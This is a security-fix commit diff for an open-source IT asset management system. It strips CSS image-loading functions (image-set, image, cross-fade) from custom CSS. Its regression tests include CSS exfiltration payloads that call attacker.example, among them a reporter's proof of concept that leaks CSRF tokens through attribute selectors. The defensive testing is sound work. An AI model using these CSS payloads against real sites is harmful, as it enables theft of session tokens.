Skip to content

A free open source IT asset/license management system

Fixed m5cw-xqr3 - strip image-set(), etc from custom CSS

snipe843977e67b19
diff --git a/app/Models/Setting.php b/app/Models/Setting.php
index cfa5b76bbc..9bb1f1d719 100755
--- a/app/Models/Setting.php
+++ b/app/Models/Setting.php
@@ -3,9 +3,9 @@
namespace App\Models;
use App\Helpers\Helper;
-use App\Rules\CssColor;
use App\Models\Labels\CustomUserLabel;
use App\Models\Labels\Label;
+use App\Rules\CssColor;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Casts\Attribute;
use Illuminate\Database\Eloquent\Factories\HasFactory;
@@ -310,6 +310,13 @@ class Setting extends Model
// between two word chars), and `@importfoo` isn't a valid CSS
// at-rule anyway.
$custom_css = preg_replace('/@import\b[^;]*;?/i', '', $custom_css);
+
+ // Strip CSS image-loading functions that aren't url(). image(),
+ // image-set(), cross-fade() (and the -webkit- variants) all
+ // reach the same external-resource fetch primitive the url()
+ // allowlist below exists to gate.
+ $custom_css = self::stripImageLoadingFunctions($custom_css);
+
$custom_css = preg_replace_callback(
'/\burl\s*\(\s*([^)]*)\)/i',
function (array $match): string {
@@ -348,6 +355,41 @@ class Setting extends Model
return $custom_css;
}
+ /**
+ * Strip every image-loading CSS function call that isn't url().
+ * Covers image(), image-set(), cross-fade(), and the -webkit-
+ * prefixed variants. Uses balanced-paren walking so a nested
+ * url() inside image-set() does not fool the stripper into
+ * stopping at the inner close paren. Case-insensitive, matches
+ * whitespace between the function name and the open paren.
+ */
+ private static function stripImageLoadingFunctions(string $css): string
+ {
+ $pattern = '/\b(?:-webkit-)?(?:image-set|image|cross-fade)\s*\(/i';
+ $result = '';
+ $pos = 0;
+ $len = strlen($css);
+
+ while (preg_match($pattern, $css, $m, PREG_OFFSET_CAPTURE, $pos)) {
+ $matchStart = $m[0][1];
+ $result .= substr($css, $pos, $matchStart - $pos);
+
+ $depth = 1;
+ $i = $matchStart + strlen($m[0][0]);
+ while ($i < $len && $depth > 0) {
+ if ($css[$i] === '(') {
+ $depth++;
+ } elseif ($css[$i] === ')') {
+ $depth--;
+ }
+ $i++;
+ }
+ $pos = $i;
+ }
+
+ return $result.substr($css, $pos);
+ }
+
public function isQrEnabled(): bool
{
return $this->qr_code == '1' || $this->label2_2d_type !== 'none';
diff --git a/tests/Unit/Models/SettingCustomCssTest.php b/tests/Unit/Models/SettingCustomCssTest.php
index ddd1da748a..dbbbc99437 100644
--- a/tests/Unit/Models/SettingCustomCssTest.php
+++ b/tests/Unit/Models/SettingCustomCssTest.php
@@ -267,4 +267,86 @@ class SettingCustomCssTest extends TestCase
$this->assertStringContainsString('images/logo.png', $out);
}
+
+ // Regression for the HusseinTahaSEC report (incomplete fix of
+ // GHSA-v279-2q6w-g8j4). The url() allowlist tightening missed
+ // the sibling CSS image-loading primitives image(), image-set(),
+ // cross-fade(), and the -webkit- variants. All of them reach the
+ // same external-resource fetch primitive the url() allowlist
+ // exists to gate, so a superuser could plant
+ // `input[name="_token"][value^="a"] { background-image: image-set("https://attacker/a"); }`
+ // and exfiltrate CSRF tokens character-by-character via
+ // attribute-selector rules. Fix strips every non-url()
+ // image-loading function call entirely, since legitimate
+ // custom-branding CSS uses url() for logos.
+ public function test_image_set_function_is_stripped(): void
+ {
+ $out = $this->withCustomCss('body { background-image: image-set("https://attacker.example/a" 1x, "https://attacker.example/b" 2x); }');
+
+ $this->assertStringNotContainsString('image-set', $out);
+ $this->assertStringNotContainsString('attacker.example', $out);
+ }
+
+ public function test_image_function_is_stripped(): void
+ {
+ $out = $this->withCustomCss('body { background-image: image("https://attacker.example/exfil"); }');
+
+ $this->assertStringNotContainsString('image(', $out);
+ $this->assertStringNotContainsString('attacker.example', $out);
+ }
+
+ public function test_webkit_image_set_function_is_stripped(): void
+ {
+ // -webkit-image-set is the vendor-prefixed sibling of image-set
+ // and reaches the same fetch primitive. Older Safari / Chrome
+ // honor it. Must be stripped alongside the unprefixed form.
+ $out = $this->withCustomCss('body { background: -webkit-image-set(url("https://attacker.example/a") 1x); }');
+
+ $this->assertStringNotContainsString('-webkit-image-set', $out);
+ $this->assertStringNotContainsString('attacker.example', $out);
+ }
+
+ public function test_cross_fade_function_is_stripped(): void
+ {
+ // cross-fade can take image() or image-set() as children, so
+ // leaving it unstripped would let an attacker nest the real
+ // fetch call inside a cross-fade wrapper and bypass stripping
+ // of the inner. The outer-function strip handles the whole
+ // function call via balanced-paren walking.
+ $out = $this->withCustomCss('body { background-image: cross-fade(url("https://attacker.example/a") 50%, url("https://attacker.example/b") 50%); }');
+
+ $this->assertStringNotContainsString('cross-fade', $out);
+ $this->assertStringNotContainsString('attacker.example', $out);
+ }
+
+ public function test_attribute_selector_image_set_csrf_exfil_payload_is_neutered(): void
+ {
+ // Reporter's PoC verbatim. Simulated attribute-based token
+ // exfil shape, demonstrates image-set() stripped before any
+ // url inside gets a chance to run through the allowlist.
+ $out = $this->withCustomCss(
+ 'input[name="_token"][value^="a"] { background-image: image-set("https://attacker.example/c?a"); }'
+ .'input[name="_token"][value^="b"] { background-image: image-set("https://attacker.example/c?b"); }'
+ .'* { background-image: image("https://attacker.example/ping"); }'
+ );
+
+ $this->assertStringNotContainsString('attacker.example', $out);
+ $this->assertStringNotContainsString('image-set', $out);
+ $this->assertStringNotContainsString('image(', $out);
+ }
+
+ public function test_balanced_paren_walker_handles_nested_url_inside_image_set(): void
+ {
+ // image-set can wrap url() calls as children. The stripper
+ // must not stop at the inner close-paren of the nested url(),
+ // which a naive non-balanced regex would do. Balanced-paren
+ // walking in stripImageLoadingFunctions handles this.
+ $out = $this->withCustomCss('body { background: image-set(url("https://attacker.example/a") 1x, url("https://attacker.example/b") 2x); color: red; }');
+
+ $this->assertStringNotContainsString('attacker.example', $out);
+ $this->assertStringNotContainsString('image-set', $out);
+ // Non-stripped CSS after the function should still be present
+ // and well-formed.
+ $this->assertStringContainsString('color: red', $out);
+ }
}